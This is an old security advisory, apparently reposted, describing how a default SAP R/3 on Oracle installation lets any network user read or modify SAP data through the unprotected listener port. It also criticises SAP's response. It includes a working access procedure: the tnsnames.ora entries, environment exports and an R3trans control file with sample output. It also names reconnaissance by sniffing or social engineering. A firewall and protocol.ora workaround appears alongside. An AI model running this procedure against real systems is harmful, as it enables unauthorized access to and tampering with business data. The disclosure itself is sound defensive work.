SAP R/3 on Oracle: vulnerable Default Installationby Nikola Strahija on April 29th, 2002 Every user having network access to the oracle listener port on the database host may read/write/modify any SAP data.
Needed knowledge: IP address (and port) of the database host and the
System ID (SID). You may get them with a packet sniffer, social
engineering or just running sapinfo against a running SAP R/3. sapinfo
also tells you the R/3 release, which we'll need (we use R3trans of
With these informations an attacker can create a local user sidadm,
craft a tnsnames.ora and an environment for running R3trans.
(COMMUNITY = sap.world)
(PROTOCOL = TCP)
(Host = hostname)
(Port = 1527)
(SID = SID)
(GLOBAL_NAME = SID.world)
And running the commands (note you need the R3trans from the target
sidadm> export TNS_ADMIN=$HOME/
sidadm> export ORACLE_HOME=/oracle/SID
sidadm> export ORACLE_SID=SID
sidadm> export PATH="$PATH:/oracle/SID/817_32/bin:/usr/sap/SID/SYS/exe/run"
sidadm> export dbms_type=oraexport DIR_LIBRARY=/usr/sap/SID/SYS/exe/run
sidadm> export dbs_ora_tnsname=SID
sidadm> export TNS_ADMIN=/home/sidadm
sidadm> cat control
# select table where name = T000
select * from t000
sidadm> R3trans control
sidadm> strings trans.dat
q 000SAP AG Walldorf DEM [...]
q 001Auslieferungsmandant R11 Kundstadt EUR [...]
Any user on the local network can access any SAP data read/write
without password. No SAP authority checks are applied.
All R/3 Releases using SQL*net V2 (3.x, 4.x, 6.10), regardless of the
I don't have access to SAP R/3 on other databases, so I can't comment
on wether or not they are affected. The vulnerability affects both
Unix and NT.
Workaround is to restrict access to the Oracle port either with
network means (a firewall) or using the following protocol.ora options
on the database server:
tcp.nodelay = true
tcp.validnode_checking = yes
tcp.invited_nodes = ( hostname, hostname )
SAP should document the impact of not protecting the database port in
the security guide. As of now most customers ignore that.
SAP should have added a default protocol.ora to the default
installation and/or to the installation guides. And SAP should not use
words like "may gain". Spell the consequences out!
SAP should document that changing the database password will not
protect the database at all when network access to the listener is
SAP knows that problem since at least November 1999
SAP says in the "security guide":
"By placing your SAP system servers in a separate subnet, you increase
the access control to your server LAN, thereby increasing the security
level of your system."
This is very vague. Most SAP customers are afraid to add a firewall
because that may be a single point of failure and is not seemed
neccesary in a "trusted" LAN.
"We discourage placing SAP System servers into any existing subnet
without first considering the appropriate security issues".
Uh, and what are these issues? SAP spells never out that there is
otherwise NO protection AT ALL.
There is also a paragraph about Packet Filers:
"By specifying a set of rules based on IP addresses and TCP ports, you
can select which kinds of network services are accessible over the
network. You should configure your router or packet filter to route
connecttions to a defined subset of ports only, based on the services
that you require."
SAP knows of this hole since at least 1999. This hole has been
documented in books about SAP security and on the Internet since July
2000, but SAP never alerted its customers or changed the default
A recent alert to SAP resulted in a "thanks, we are working on a fix",
but SAP failed to give a timeframe or strategy they follow to fix the
problem. Since the last response was more than a month back, I decided
to publish this advisory anyway.
SAP has never issued a public acknowledge, and has no prominent
website available to check for security issues and fixes. No, the SAP
security guide is not sufficient.
The feedback from SAP has first been timely, but never useful for
A complete exploit and more remarks are (in German) here.
OSS note 186119.
Last modified: Sat Apr 27 08:59:06 CEST 2002
3. mailto:[email protected]
#include : permission denied